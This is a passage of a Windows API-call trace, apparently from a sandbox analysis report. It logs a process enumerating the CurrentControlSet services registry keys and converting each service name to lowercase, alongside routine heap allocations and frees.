[0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.618] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.618] RegCloseKey (hKey=0x150) returned 0x0 [0241.618] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.619] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0241.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.620] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.620] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.620] RegCloseKey (hKey=0xc4) returned 0x0 [0241.620] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.620] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0241.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.620] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.621] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.621] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.621] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0241.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.622] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.622] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.622] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.622] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.623] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1928, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.623] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.623] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0241.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.623] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.624] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0241.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 